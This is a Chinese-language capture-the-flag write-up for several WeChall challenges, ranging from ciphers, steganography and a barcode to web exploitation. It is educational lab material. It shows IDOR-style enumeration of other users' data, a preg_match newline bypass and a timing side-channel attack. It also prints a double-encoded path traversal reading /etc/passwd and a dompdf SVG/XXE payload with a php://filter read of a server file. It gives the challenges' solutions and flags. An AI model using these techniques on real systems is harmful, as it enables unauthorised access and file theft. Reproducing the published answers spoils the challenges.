"use strict"; /** * (c)2019 Failsoft */ // 一个放了很多方法的 Object window.gurroga = {}; // API地址 window.gurroga.api = { login: '../backend/api/login.php', // 登录 auth: '../backend/api/authenticate.php', // 认证 } window.gurroga.USER = null; // 用户Object,根据后面的代码可知有一个属性id,值类型为number window.gurroga.ARTICLES = null; // 用户的文章 // 初始化,设置语言为德语 window.gurroga.init = function () { console.log('init()'); window.jsGrid.locale("de"); }; // 显示提示信息(成功) window.gurroga.showMessage = function (message) { console.log('showMessage()', message); $('#successmessage').html(message); $('#successpopup').popup(); $('#successpopup').popup("open"); }; // 显示错误信息 window.gurroga.showError = function (errorMessage) { console.log('showError()', errorMessage); $('#errormessage').text(errorMessage); $('#errorpopup').popup(); $('#errorpopup').popup("open"); }; // 跳转到指定页面。根据后面的代码和html代码分析,值可以是#login,#welcome,#historie和#bestellen中的一个 window.gurroga.goto = function (page) { console.log('goto()', page); $.mobile.changePage(page); }; //禁用一个输入框 window.gurroga.disable = function (selector) { var input = $(selector); input.prop('disabled', true) input.parent().addClass("ui-state-disabled"); }; //启用一个输入框 window.gurroga.enable = function (selector) { var input = $(selector); input.prop('disabled', false) input.parent().removeClass("ui-state-disabled"); }; //点击登录按钮后执行的函数 window.gurroga.login = function () { console.log('login()'); if (window.gurroga.USER) { window.gurroga.authenticate(); } else { var username = $('#username').val(); var password = $('#password').val(); var postData = { username: username, password: password }; $.post(window.gurroga.api.login, postData) .done(function (result) { console.log(result); window.gurroga.USER = result.user; window.gurroga.ARTICLES = result.artikel; $('.username').text(result.user.vorname + ' ' + result.user.nachname); window.gurroga.disable('#username'); window.gurroga.disable('#password'); window.gurroga.enable('#authtoken'); window.gurroga.buildArticles(result.artikel); }) .fail(function (result) { console.error(result); window.gurroga.showError(result.responseJSON.message); }); } }; //登出 window.gurroga.logout = function () { console.log('logout()'); window.gurroga.USER = null; window.gurroga.ARTICLES = null; } //认证 window.gurroga.authenticate = function () { console.log('authenticate()'); var token = $('#authtoken').val(); var postData = { user: window.gurroga.USER.id, token: token }; $.post(window.gurroga.api.auth, postData) .done(function (result) { console.log(result); window.gurroga.goto('#welcome'); }) .fail(function (result) { console.error(result); window.gurroga.showError(result.responseJSON.message); }); }; //创建文章 window.gurroga.buildArticles = function (artikel) { console.log('buildArticles()', artikel); $('#bestellartikel').empty(); for (var a in artikel) { var b = artikel[a]; $('#bestellartikel').append($('<option />').text(b.title).val(b.id)); } }; //监听器,监听切换页面事件 $(window.document).on('pagechange', function (event, args) { var funcname = 'changeTo_' + args.toPage[0].id; console.log('pagechange()', funcname); var func = window.gurroga[funcname]; if (func) { func(); } }); //切换至登录页面 window.gurroga.changeTo_login = function () { console.log('changeTo_login()'); window.gurroga.enable('#username'); window.gurroga.enable('#password'); window.gurroga.disable('#authtoken'); }; //切换至历史页面 window.gurroga.changeTo_historie = function () { console.log('changeTo_historie()'); $('#historygrid').jsGrid({ width: '100%', sorting: true, paging: false, autoload: true, controller: { loadData: function () { var d = $.Deferred(); $.ajax({ url: "../backend/api/bestellhistorie.php?user=" + window.gurroga.USER.id, dataType: "json" }).done(function (response) { d.resolve(response.result); }); return d.promise(); } }, fields: [ { name: "article.title", type: "text", title: "Artikel" }, { name: "article.amt", type: "text", title: "Stückzahl" }, { name: "amt", type: "text", title: "Bestellmenge" }, { name: "ordered_at", type: "text", title: "Bestelldatum" }, { name: "delivered_at", type: "text", title: "Lieferdatum" }, ] }); } //订购文章 window.gurroga.order = function () { console.log('order()'); var article = $('#bestellartikel').val(); var amount = $('#bestellmenge').val(); var postData = { user: window.gurroga.USER.id, id: article, amt: amount }; $.post('../backend/api/bestellen.php', postData) .done(function (result) { console.log(result); window.gurroga.showMessage(result); }) .fail(function (result) { console.error(result); window.gurroga.showError(result.responseText); }); };
F12
打开浏览器控制台,接下来的代码都在控制台里运行。先通过以下代码模拟登录id为1的用户:
window.gurroga.USER = {id: 1}
factor2.js
中有这样一行代码:
window.gurroga.goto('#welcome');
再看一下网页的html代码:
可以看出goto
方法的参数是#[id]
。所以我们运行以下代码跳转到id为1的用户的历史文章界面:
window.gurroga.goto('#historie')
没什么特别的,现在我们回到登录页面,重复上述操作,查看id为2,3,4…用户的历史文章。
找到solution了!现在我们想办法创建一篇文章。首先查看网络请求找到文章Challenge solution for Factor 2
的id是5678363
:
再看一下代码。factor2.js
有一个buildArticles
函数:
//创建文章
window.gurroga.buildArticles = function (artikel) {
console.log('buildArticles()', artikel);
$('#bestellartikel').empty();
for (var a in artikel) {
var b = artikel[a];
$('#bestellartikel').append($('<option />').text(b.title).val(b.id));
}
};
最核心的代码是这行:
$('#bestellartikel').append($('<option />').text(b.title).val(b.id));
我们运行以下代码创建一篇文章,id是刚刚找到的5678363:
$('#bestellartikel').append($('<option />').text("Hello World").val("5678363"));
回到网页,点击左上角的菜单按钮,再点击订购按钮:
选择我们创建的文章,点击订购,成功过关。这里本质上还是订购了id为5678363的这篇文章,但是我们需要创建一篇同id的新文章才能在列表里找到并订购。
通过分析factor2.js
代码我们可以找到两个api:
// 获取用户历史文章
GET https://www.wechall.net/challenge/gizmore/factor2/backend/api/bestellhistorie.php?user={uid}
// 订购文章
POST https://www.wechall.net/challenge/gizmore/factor2/backend/api/bestellen.php
Post data: {
amt: 1,
id: 5678363,
user: 6,
}
我们可以先遍历用户的历史文章,找到有用的信息后再订购文章。以下是遍历id为1到9的用户的历史文章的js代码,在浏览器控制台中运行即可:
for (let i = 1; i < 10; i++) {
$.get(`https://www.wechall.net/challenge/gizmore/factor2/backend/api/bestellhistorie.php?user=${i}`).done(r => console.log(`id=${i} success`, r)).fail(r => console.log(`id=${i} failed`))
}
查看一下返回的数据,当id=6时有solution:
拿到需要的参数后,通过以下代码订购文章,成功过关:
$.post('https://www.wechall.net/challenge/gizmore/factor2/backend/api/bestellen.php', {
amt: 1,
id: 5678363,
user: 6,
}).then(r => console.log(r))
这里作者定义了一种数字GAN。GAN有9位,每一位都是整数。我们要把数字填在方框里,然后想办法提交GAN。方框里的数需要选中之后才能显示:
我们打开题目中的链接看看:
F12
看下html代码:
注释里藏了一段PHP代码。根据函数名可以判断出这是个校验GAN是否合法的函数。
function checkGAN($array) {
static $poly = [ 1, 5, 13, 31, 131, 131, 137, 7, 43, 1];
$sum = 1;
for ($i = 0; $i < 8; ) {
$sum *= $poly[$i];
$sum += $array[$i++];
}
return ($sum % 10) == $array[8];
}
为了方便在浏览器里算出结果,我将其改写成了js代码:
function checkGAN(array) {
const poly = [1, 5, 13, 31, 131, 131, 137, 7, 43, 1];
sum = 1;
for (let i = 0; i < 8;) {
sum *= poly[i];
sum += array[i++];
}
console.log((sum % 10)) // 看下结果
return (sum % 10) == array[8];
}
// 测试
console.log(checkGAN([1, 2, 3, 4, 5, 6, 7, 8, 9]))
观察函数,GAN的前8位会被用来计算,第9位时校验位。我们加入调试输出语句后直接传入参数[1, 2, 3, 4, 5, 6, 7, 8, 9]
,看下此时GAN的第9位得是几才能通过校验:
是3
,那么一个合法的GAN就找到了:1, 2, 3, 4, 5, 6, 7, 8, 3
。回到题目,把最后一个黑框框里的数字改成3就行。
我们还得想办法提交这个GAN。通过观察html代码可知这些输入框都被包含在一个form表单里,但是却没有提交按钮:
我们先右键这个form表单,选择复制,复制JS路径:
然后在控制台中调用它的submit
方法:
document.querySelector("#THE-CHALLENGE > form").submit()
提交后成功过关。
这关是之前的简单置换密码的升级版。字母,空格和标点都被加密了,每个16进制数对应一个字符。首先我们分析词频,我使用python标准库中的Counter
来分析:
from collections import Counter
secret = "7F 5F 3D F6 8C 9E 2D DD 7D 9E 2D 6E 5F 3D EE 5C 2E 10 07 6E EE 2E 5F 3D 7A 2E B8 9E EE 2E 07 9E 8C B4 7A 8C 0D 2E 68 DD 2D 2E 31 5F DD 2E F6 5F 2D 2E 6E 2D 5C 2E D9 7A 8C 31 2E B8 7A 7D 7D 2E B4 5F 3D 7A 2E 37 7A 7D 7D 5F B8 2E 07 9E F3 06 7A 8C 5C 2E 10 07 7A 2E B3 8C 5F 68 7D 7A 50 2E B8 6E 2D 07 2E 2D 07 6E EE 2E F3 6E B3 07 7A 8C 2E 6E EE 2E 2D 07 9E 2D 2E 2D 07 7A 2E 06 7A 31 2E 6E EE 2E B3 8C 7A 2D 2D 31 2E 7D 5F 3D F6 5C 2E 01 2E B8 6E 7D 7D 2E F3 5F 50 7A 2E DD B3 2E B8 6E 2D 07 2E 9E 2E 68 7A 2D 2D 7A 8C 2E 7A 3D F3 8C 31 B3 2D 6E 5F 3D 2E EE 07 7A 50 7A 2E 9E 3D 31 2E EE 5F 5F 3D 5C 2E B9 5F DD 8C 2E EE 5F 7D DD 2D 6E 5F 3D 2E 6E EE 55 2E 6E 5F 68 6E F3 F6 50 F6 EE 3D 07 8C 5C"
lst = secret.split(' ')
word_freq = Counter(lst)
print(word_freq.most_common())
运行结果:
[('2E', 40), ('7A', 19), ('5F', 17), ('2D', 17), ('6E', 15), ('8C', 12), ('07', 12), ('3D', 11), ('EE', 11), ('7D', 10), ('9E', 8), ('DD', 6), ('5C', 6), ('B8', 6), ('31', 6), ('F6', 5), ('F3', 5), ('B3', 5), ('68', 4), ('50', 4), ('10', 2), ('B4', 2), ('06', 2), ('7F', 1), ('0D', 1), ('D9', 1), ('37', 1), ('01', 1), ('B9', 1), ('55', 1)]
2E
出现次数最多,肯定是空格。接下来我们把之前那关写的代码拿过来再改改:
secret = "7F 5F 3D F6 8C 9E 2D DD 7D 9E 2D 6E 5F 3D EE 5C 2E 10 07 6E EE 2E 5F 3D 7A 2E B8 9E EE 2E 07 9E 8C B4 7A 8C 0D 2E 68 DD 2D 2E 31 5F DD 2E F6 5F 2D 2E 6E 2D 5C 2E D9 7A 8C 31 2E B8 7A 7D 7D 2E B4 5F 3D 7A 2E 37 7A 7D 7D 5F B8 2E 07 9E F3 06 7A 8C 5C 2E 10 07 7A 2E B3 8C 5F 68 7D 7A 50 2E B8 6E 2D 07 2E 2D 07 6E EE 2E F3 6E B3 07 7A 8C 2E 6E EE 2E 2D 07 9E 2D 2E 2D 07 7A 2E 06 7A 31 2E 6E EE 2E B3 8C 7A 2D 2D 31 2E 7D 5F 3D F6 5C 2E 01 2E B8 6E 7D 7D 2E F3 5F 50 7A 2E DD B3 2E B8 6E 2D 07 2E 9E 2E 68 7A 2D 2D 7A 8C 2E 7A 3D F3 8C 31 B3 2D 6E 5F 3D 2E EE 07 7A 50 7A 2E 9E 3D 31 2E EE 5F 5F 3D 5C 2E B9 5F DD 8C 2E EE 5F 7D DD 2D 6E 5F 3D 2E 6E EE 55 2E 6E 5F 68 6E F3 F6 50 F6 EE 3D 07 8C 5C"
lst = secret.split(' ')
replace_dict = {
'2E': ' '
}
# 替换
for key, value in replace_dict.items():
lst = [lst[i].replace(key, value) for i in range(len(lst))]
print(''.join(lst))
找到新的映射关系后,加入到replace_dict
中即可。第一轮运行结果如下:
7F5F3DF68C9E2DDD7D9E2D6E5F3DEE5C 10076EEE 5F3D7A B89EEE 079E8CB47A8C0D 68DD2D 315FDD F65F2D 6E2D5C D97A8C31 B87A7D7D B45F3D7A 377A7D7D5FB8 079EF3067A8C5C 10077A B38C5F687D7A50 B86E2D07 2D076EEE F36EB3077A8C 6EEE 2D079E2D 2D077A 067A31 6EEE B38C7A2D2D31 7D5F3DF65C 01B86E7D7D F35F507A DDB3 B86E2D07 9E 687A2D2D7A8C 7A3DF38C31B32D6E5F3D EE077A507A 9E3D31 EE5F5F3D5C B95FDD8C EE5F7DDD2D6E5F3D 6EEE55 6E5F686EF3F650F6EE3D078C5C
老方法,先找solution
这个单词,EE5F7DDD2D6E5F3D
就很符合要求。替换后句子变成这样:
7FonF68C9Etul9Etions5C 1007is on7A B89Es 079E8CB47A8C0D 68ut 31ou F6ot it5C D97A8C31 B87All B4on7A 377AlloB8 079EF3067A8C5C 10077A B38Co68l7A50 B8it07 t07is F3iB3077A8C is t079Et t077A 067A31 is B38C7Att31 lonF65C 01 B8ill F3o507A uB3 B8it07 9E 687Att7A8C 7AnF38C31B3tion s077A507A 9En31 soon5C B9ou8C solution is55 io68iF3F650F6sn078C5C
如果之前的关卡有认真打的话,对作者的说话方式有一定了解(congratulations,very well done,fellow hacker等等),就能很轻松地完成剩下的解密,最终我解出的明文如下:
Congratulations. This one was harder, but you got it. Very well done fellow hacker. The problem with this cipher is that the key is pretty long. I will come up with a better encryption sheme any soon. Your solution is: iobicgmgsnhr.
在本题中,服务器被请求的网址不再是静态的了。我们需要获取请求网址中的数字,返回它们相乘后的结果。我测试时发现number1和number2非常大,int类型存不下它们相乘后的结果。以下是使用Nodejs和Express的解法:
const express = require('express'); const app = express(); app.listen(80, () => { console.log('Listening on port 80'); }); app.get('/andywang425/:file', (req, res) => { const file = req.params.file; const numbers = file.match(/[0-9]+/g); const num1 = BigInt(numbers[0]); const num2 = BigInt(numbers[1]); const result = num1 * num2; res.send(`${result}`); });
URL中的:file
是参数,BigInt
是大整数类型。如果不用BigInt
直接把number1和number2相乘会得到NaN
。
运行服务器后点击网页上的按钮即可通关。
又是一道关于图片隐写术的题。先打开题目中的链接看一下:
是一张图片。保存这张图attachment.php
到本地。根据题意,里面可能还藏了别的文件。用16进制编辑器(我用的是ImHex)打开看一下,果然在文件结尾找到了solution。PK
是我猜是标志开始或者结束的标识符,不是solution的一部分。
本题还有更简单的解法。把attachment.php
的后缀改成.zip
,用解压软件打开即可找到一个文本文件,里面就是solution:
我们把这张斑马的图片保存到本地,放大一下看看:
很显然斑马的条纹是二维码。我的第一反应是拿起手机用微信扫一扫,结果显示未扫描到商品信息…看来还得靠自己,我写了一个python脚本来读取图片中的条形码,需要安装OpenCV
和pyzbar
两个库。这个脚本会在一个新窗口中打开图片,用红色框把条形码的位置圈出来,并在控制台显示条形码的信息:
import cv2 import pyzbar.pyzbar as pyzbar # 读取图片 image = cv2.imread(r"D:\Documents\xazl\ctf\wechall.net\zebra.png") gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY) # 寻找条形码 barcodes = pyzbar.decode(gray) print(barcodes) for barcode in barcodes: (x, y, w, h) = barcode.rect cv2.rectangle(image, (x, y), (x + w, y + h), (0, 0, 255), 2) barcodeData = barcode.data.decode("utf-8") barcodeType = barcode.type text = "{} ({})".format(barcodeData, barcodeType) cv2.putText(image, text, (x, y - 10), cv2.FONT_HERSHEY_SIMPLEX, 0.5, (0, 0, 255), 2) cv2.imshow("Image", image) cv2.waitKey(0)
然而失败了。我猜测是因为条形码的形状不规范,于是我打开photoshop开始修图。主要思路是用矩形选择工具选择一小块条形码,然后复制黏贴。photoshop有自动对齐的功能,所以很简单。
然后裁剪一下图片就得到了一张正常的条形码图片。
再使用刚刚的python脚本读取条形码,成功找到密码saFFari
:
通关后看了看其他人的思路,找到了两个能在线读取条形码的网站,这样就不用写脚本读取了:https://www.onlinebarcodereader.com/,https://online-barcode-reader.inliteresearch.com/。
培根密码升级版。先丢CyberChef里看看,发现无论这么配置结果都是乱码。先把常规的培根密码解密python脚本写出来,之后再根据需要修改。目前的规则是大写字母替换为A,小写字母替换为B。转换表为默认。代码如下:
def replace_with_AB(s: str): return s.translate(str.maketrans('ABCDEFGHIJKLMNOPQRSTUVWXYZ', 'AAAAAAAAAAAAAAAAAAAAAAAAAA')).translate(str.maketrans('abcdefghijklmnopqrstuvwxyz', 'BBBBBBBBBBBBBBBBBBBBBBBBBB')) def remove_nonAlphabet(s: str): ret = '' for c in s: if c == 'A' or c == 'B': ret += c return ret trans_dict = { 'AAAAA': 'a', 'AAAAB': 'b', 'AAABA': 'c', 'AAABB': 'd', 'AABAA': 'e', 'AABAB': 'f', 'AABBA': 'g', 'AABBB': 'h', 'ABAAA': 'i', 'ABAAB': 'j', 'ABABA': 'k', 'ABABB': 'l', 'ABBAA': 'm', 'ABBAB': 'n', 'ABBBA': 'o', 'ABBBB': 'p', 'BAAAA': 'q', 'BAAAB': 'r', 'BAABA': 's', 'BAABB': 't', 'BABAA': 'u', 'BABAB': 'v', 'BABBA': 'w', 'BABBB': 'x', 'BBAAA': 'y', 'BBAAB': 'z' } def replaceAB_with_character(s: str): for i in range(0, len(s)-4, 5): part = s[i:i+5] if len(part) == 5: if part in trans_dict: print(trans_dict[part], end='') continue print('?', end='') cipher = "bacON's CIpHER OR tHe bacOnIaN CIPHeR iS a meTHoD oF StEGAnoGrApHy (A meThOD Of hidiNG a SecReT meSsAGE aS opposED To A truE CIpHEr) DEvIsEd bY fRaNCiS bacON. a meSsAGe iS cOnCEaled iN The PrEsENtAtIOn oF TeXT, rAtHeR ThaN ITs ContEnt. to EnCoDE a meSSAGE, each leTTEr oF THE pLaiNTEXT IS RePLaced bY a gRoup oF FIvE OF tHe leTtErs 'A' Or 'B'. THIS rEpLACEMEnt IS dOnE ACcOrDING TO The alPHAbeT oF tHe bacONiaN CiPHeR, ShOwn BelOw. notE: A sEcOnD VeRSiOn oF bacON's CIPHEr usEs A UnIQUE cODe fOR each leTtER. iN OTHER WorDs, I aND J Each haS ITS own pATtERN. THe WRiTeR mUst MAKE USe OF Two DiffeREnt typEfaceS FOR ThiS CIPheR. AFTeR PrEpARInG a falSE meSSage WiTH tHe SAMe NUmbeR oF LeTtERS aS All OF tHe aS AnD bS iN tHe REAL, sEcReT meSsAGe, TWo typEfaceS aRE chOSeN, OnE TO rEprEsENT aS AND tHE otHEr BS. tHEn Each leTTeR OF The falSe meSsAge mUst BE prESEntEd iN tHe aPproprIaTe TYPEFace, accORdiNG TO wHEtHeR It stAnDS FOR aN A Or A b. To DEcODE THe meSSage, The REvErsE meTHoD Is AppLIed. each 'TYpEface 1' leTtEr In tHe falSe meSsAge iS RePLAced WiTH AN A aNd each 'TYpEface 2' leTtER iS rEpLaced WItH a b. THE bacONiaN ALPhabeT Is tHeN usED To rECovER THE OrIgiNAl meSSage. aNy MeThOD OF WRiTInG The meSsAge THAT allOWs two DiStInCt rEprEsENTATIons FOr EACh chaRAcTEr CAn Be UsED fOR tHE bacOn CiPheR. BacOn HimSelf Prepared a biliteral alphabet[2] for handwritten capital and small letters with each having two alternative forms, one to be used as a and the other as b. this was published as an illustrated plate in his de augmentis scientiarum (the advancement of learning). because any message of the right length can be used to carry the encoding, the secret message is effectively hidden in plain sight. the false message can be on any topic and thus can distract a person seeking to find the real message." replaceAB_with_character(remove_nonAlphabet(replace_with_AB(cipher)))
目前有两个猜想:
分析后我认为第二种猜想的可能性不大。无论是按大写字母替换为A,小写字母替换为B的规则还是反过来的规则替换,都会有超过26种5个字母的AB组合,那么就意味着有多个AB组合对应同一种字母。并且很难找到一种转换表能够正确地,不产生错误的解析AB字符串。
于是我开始在第一个猜想上下功夫,经过一番尝试,我发现把大写字母的前13个(A-M)替换为A,后13个(N-Z)替换为B即可解出有意义的信息。密文种的小写字母似乎只是起到混淆的作用,实际上不携带信息。把代码中的replace_with_AB
函数修改一下就行:
def replace_with_AB(s: str):
return s.translate(str.maketrans('ABCDEFGHIJKLMNOPQRSTUVWXYZ', 'AAAAAAAAAAAAABBBBBBBBBBBBB'))
运行结果:
youxcanxreadxthexhiddenxmessagexsoxixwillxtellxyouxthexsolutionxwhichxisxtwelvexrandomxlettersxnonhigsfbgll
成功找到密码nonhigsfbgll
。
再分享一段很巧妙的python的代码,来源于solutions讨论区:
from string import ascii_uppercase, ascii_lowercase def dec(s): bicon = '' for i in range(0,len(s),5): binary = '' for c in s[i:i+5]: if ascii_uppercase.index(c) < 13: binary += '0' else: binary += '1' if (c := int(binary,2)) < len(ascii_lowercase): bicon += ascii_lowercase[c] return bicon msg = ''.join(c for c in input() if c in ascii_uppercase) print(dec(msg).replace('x',' '))
最后,还记得作者在之前的关卡里给出的解密小软件JPK吗,里面就有暴力破解培根密码的功能,只要选择Bacon Brute
,中间字符保持默认m
,鼠标一点答案就出来了。可是我做题的时候没想到>﹏<
这一关的目标是构造一个非法的用户名。以下是题目给出的源代码中最重要的部分:
# Submitted? if (isset($_POST['submit'])) { # Check it! $error = ludde_is_satisfied($chall); # Oooops! if ($error === true) { $chall->onChallengeSolved(GWF_Session::getUserID()); } # All normal and ok elseif ($error === false) { echo GWF_HTML::message(GWF_PAGE_TITLE, $chall->lang('msg_ok', array($_POST['username'])), false); } # Error! else { echo GWF_HTML::error(GWF_PAGE_TITLE, $error, false); } } # Check it! function ludde_is_satisfied(WC_Challenge $chall) { # Missing POST var? if (!isset($_POST['username'])) { return $chall->lang('err_missing_var'); } # Submitted a string? if (!is_string($_POST['username'])) { return $chall->lang('err_var_type'); } # Valid username?abcdefghijklmnopq if (!preg_match('/^[a-zA-Z]{1,16}$/', $_POST['username'])) { return $chall->lang('err_illegal_username', array(1, 16)); } # WTF! WTF! WTF! if (strlen($_POST['username']) > 16) { return true; } # Normal, OK and no error :) return false; }
我们的目标是让ludde_is_satisfied
这个函数返回true
。因为当$error
为true
时才能通过挑战:
if ($error === true)
{
$chall->onChallengeSolved(GWF_Session::getUserID());
}
所以我们需要让preg_match('/^[a-zA-Z]{1,16}$/', $_POST['username'])
这个函数返回true
,同时strlen($_POST['username']) > 16
也返回true
。这个正则表达式的意思是匹配1到16个英文字母,但后面又需要让字符串的长度大于16。我们需要想办法绕过preg_match
函数。在做题之前先来看一段PHP的官方文档(以下内容节选自锚):
脱字符 ^
和美元符 $
字符的意义在 PCRE_MULTILINE 选项被设置时会发生变化。 当在这种情况下时, 它们匹配每一个换行符后面的和前面的字符,另外, 也会匹配目标字符串的开始和结束。比如, 模式 /^abc$/ 在多行模式下会成功匹配目标字符串 ”def\nabc”, 而正常情况下不会。因此,由于所有的可选分支都以 “^” 开始, 在单行模式下这成为紧固模式,然而在多行模式下,这是非紧固的。 PCRE_DOLLAR_ENDONLY 选项在 PCRE_MULTILINE 设置后失效。
在本题中我们可以使用换行符来绕过preg_match
。只需要把用户名构造成16个英文字母+一个换行符即可。换行符需要经过URL编码变为%0A
再传入。因为直接在输入框里填%0A
的话%
会被编码为%25
,所以这里我使用Burpsuite来发包,用户名为andywangandywang%0A
(A小写也行):
成功过关。
这道题的主题是侧信道漏洞——时序漏洞。我们先来看下代码:
<?php ######################### ### ALL VULNERABLE?!? ### ######################### $answer = (string)@$_POST['answer']; $password = require 'password.php'; # Check password return utf8_stringCompare($password, $answer); ########### ### Lib ### ########### /** * UTF-8 string comparison method. * Why is there no mb_strcmp() function? * * @version 0.2 * @author gizmore * * @todo return distance between those two strings for sorting. * @todo return true on same glyphs but different codepoints by normalizing the strings first. * * @param string $a * @param string $b * @return boolean */ function utf8_stringCompare($a, $b) { # If length is not the same we can return false early. $len_a = mb_strlen($a); $len_b = mb_strlen($b); if ($len_a !== $len_b) { return false; } usleep(10000); # Training emulate sidechannel # We have to check further! for ($i = 0; $i < $len_a; $i++) { # Next char $char_a = mb_substr($a, $i, 1); $char_b = mb_substr($b, $i, 1); # Compare if ($char_a !== $char_b) { return false; # Char $i mismatched } usleep(10000); # Training emulate sidechannel continue; # Char $i matched } return true; # The strings are the same }
这段代码会比较我们输入的答案和密码是否相同,核心是utf8_stringCompare
这个函数。在该函数中,首先会判断字符串长度是否相等,如果不是返回false
,如果是则先等待10000微秒(即10毫秒或0.01秒),然后逐位判断字符串上的每个字符是否相同。每判断完一位字符后,如果正确,要等待10000微秒再进行下一次判断,否则返回false
。
首先我们来访问以下password.php
这个文件,链接为https://www.wechall.net/challenge/training/timing1/password.php:
说明密码由大小写英文字母字母组成,长度为12。之后我又尝试在提交答案时在answer参数后面加上[]
将其构造成数组,得到的回显如下:
再访问一下这个vulnerable.php
:
一样的内容,看来只能从时序漏洞着手了。从第一位密码开始,依次尝试每一种英语字母,后面随便填补足到12位。我们可以根据请求花费的时间来判断这一位密码是否正确,找到第一位的密码后再接着再去尝试下一位。如此往复就能出答案。作者在讨论区提示,请求时可以在URL后面加上?ajax=1&nosess=1
以得到更准确的结果。同时由于结果存在误差,需要大量请求然后进行统计。
然而这道题比我想象的要难许多。wechall的服务器在美国,我人在中国,网络波动可以说是大得离谱,请求还经常失败。有时候发了几万个请求得到的数据什么规律也看不出来,我以为的规律可能还是网络波动导致的…这道题我花了整整5天,发了超过100万个请求得到了9位密码,然后根据一点英语知识猜到了后面3位。现在分享一下我的做题过程:
首先我尝试通过写python脚本发请求,使用的是requests
库。但由于没写多线程并发和错误重试,效率极低。最后我采用了Burpsuite发包+python转换结果到excel+Excel统计的方式解题。
先在Burpsuite的浏览器里提交一次密码,然后把提交密码的请求发送到攻击器:
payload使用我自己从文件导入的简单列表,内含所有英语字母各500个。生成列表文件的python代码如下:
from string import ascii_letters
with open('list.txt', 'w') as f:
for c in ascii_letters:
for i in range(0, 500):
f.write(c + '\n')
然后使用Burpsuite开始攻击。完成后导出结果表1.txt
,只需要勾选payload和接收到响应:
然后使用以下python代码将其添加到一个已存在的excel文件中,需安装pandas和openpyxl两个库:
import pandas as pd import string times = {letter: [] for letter in string.ascii_letters} working_index = 1 with open(f'{working_index}.txt', 'r', encoding='utf8') as f: while line := f.readline(): parts = line.split('\t') if len(parts[0]) > 0 and len(parts[1]) > 0 and parts[1] != '0\n': times[parts[0]].append(int(parts[1])) # 补长度至500 for key in times: if len(times[key]) < 500: times[key] = times[key] + [''] * (500 - len(times[key])) # 保存到excel writer = pd.ExcelWriter(r'D:\Documents\xazl\ctf\wechall.net\timing\times.xlsx', mode='a') # df = pd.DataFrame.from_dict(times, orient='columns') df.to_excel(writer, sheet_name=f"Sheet{working_index}", index=False) writer.close()
然后就在excel里分析吧。
我用到的一些Excel公式:
全体最小:=MIN(A$2:AZ$501)
平均值(400到600):=AVERAGEIFS(A$2:A$501,A$2:A$501,">=400",A$2:A$501,"<=600")
以下是我分析的一些方法。我并没有学过统计,只是一些经验:
做这题很需要耐心,每一位密码都必须确认绝对正确再开始做下一位。如果不确定结果是否正确,就再来一遍。
在这里给点小提示:密码的第一位和第五位是大写字母,其余均为小写字母。密码前四位是个单词,整个密码去掉第四位也是个单词。这道题还挺迷人的,就是做起来一点都不快。
作者直接给了我们一个网站,这是一个用来把html转换成pdf的网站。我们的目标是读取网站上的secret.php
。
secret.php
就在网站的根目录下,但访问后会显示:
看来得另寻他法。我先把这个网站扔进Burpsuite里扫描,扫了两小时后扫出以下漏洞:
我测试了一下发现文件路径遍历和跨站点脚本(反射型)是存在的,不过在本题中只有文件路径遍历有用。可以访问以下地址来读取/etc/passwd
:https://fineprint.phpgdo.com/%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd。%252e%252e%252f
是双重URL编码后的../
,代表上一级目录。
不过这个漏洞能访问的路径是有限制的,大家可以试试看。
我们先利用这个漏洞在服务器上搜寻一下网站的位置。网站的位置在/home/fineprint/www/phpgdo
:
这个目录下很多文件都访问不了,包括secret.php
。继续探索,网站的GDO
目录内容如下(可以直接点目录上的链接,因为这是在网站目录里):
接下来可以把每个目录都逛一逛。注意图中红线划出的DOMPDF
,这是网站用来把html转换成pdf的工具,是个开源项目。我们进入Fineprint
目录,会发现里面的README.md
是可读的:
作者给提示说html转换pdf的服务是有漏洞的。接下来我花费了很多时间尝试如何构造html使得转换出来的pdf能带上secret.php
中的内容。我最先想到的办法是使用img
标签的src
属性,但是这里无论填网上的http图片链接还是伪协议file://
等读本地文件都不行,可能是屏蔽了src
标签。一番尝试后终于找到答案。
我们先回到网站的html转pdf页面,随便输入点什么转换成pdf并下载,可以在pdf的元数据中找到以下内容(我使用的工具是PDF补丁丁):
用的是dompdf 1.2.2。我们到github看一下dompdf这个项目:
可以看到,该项目在发布2.0.0版本的时候,修复了1.x版本存在的几个漏洞。其中Improper Restriction of XML External Entity Reference这个漏洞是可以用来读取本地文件,而且没有触发条件,在isRemoteEnabled
选项为false
时也能使用。
我们可以构造如下payload:
<img src="data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiIHN0YW5kYWxvbmU9Im5vIj8+CjxzdmcgeG1sbnM6c3ZnPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxuczp4bGluaz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94bGluayIgd2lkdGg9IjIwMCIgaGVpZ2h0PSIyMDAiPgo8aW1hZ2UgaGVpZ2h0PSIyMDAiIHdpZHRoPSIyMDAiIHhsaW5rOmhyZWY9Imh0dHBzOi8vdXAuZW50ZXJkZXNrLmNvbS9waG90by8yMDA3LTExLTcvMjAwNzExMDcyMTQ3MTUxMTg3LmpwZyIgLz4KPC9zdmc+">
base64部分的明文如下:
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg xmlns:svg="http://www.w3.org/2000/svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="200">
<image height="200" width="200" xlink:href="https://up.enterdesk.com/photo/2007-11-7/200711072147151187.jpg" />
</svg>
转换这段html,就可以得到一份带有外部图片的pdf:
接下来我把链接部分换成file:///home/fineprint/www/phpgdo/secret.php
,再次转换:
报错了。但是阅读报错信息,我们发现src
中的内容和xlink:href
中的内容都已经被存储到了/tmp
目录中,这个目录下的文件是可以访问的。根据报错信息,接下来只需利用文件路径遍历漏洞访问/tmp/svgo6ehAU
即可拿到secret.php
中的内容。但是访问后会发现依然是禁止访问,原因是访问php文件服务器会执行代码,使我们无法得知文件原本的内容。所以需要使用另一种伪协议php://filter
:
php://filter/read=convert.base64-encode/resource=/home/fineprint/www/phpgdo/secret.php
我们把secret.php
的内容编码成base64,读取之后再解码即可。
解码后结果:
<?php echo('Hacker no no'); # PleaseStopDoingLamerStuff (yes this flag)
以上是我的方法。通关后看了别的大佬的思路,还有更简便的办法。
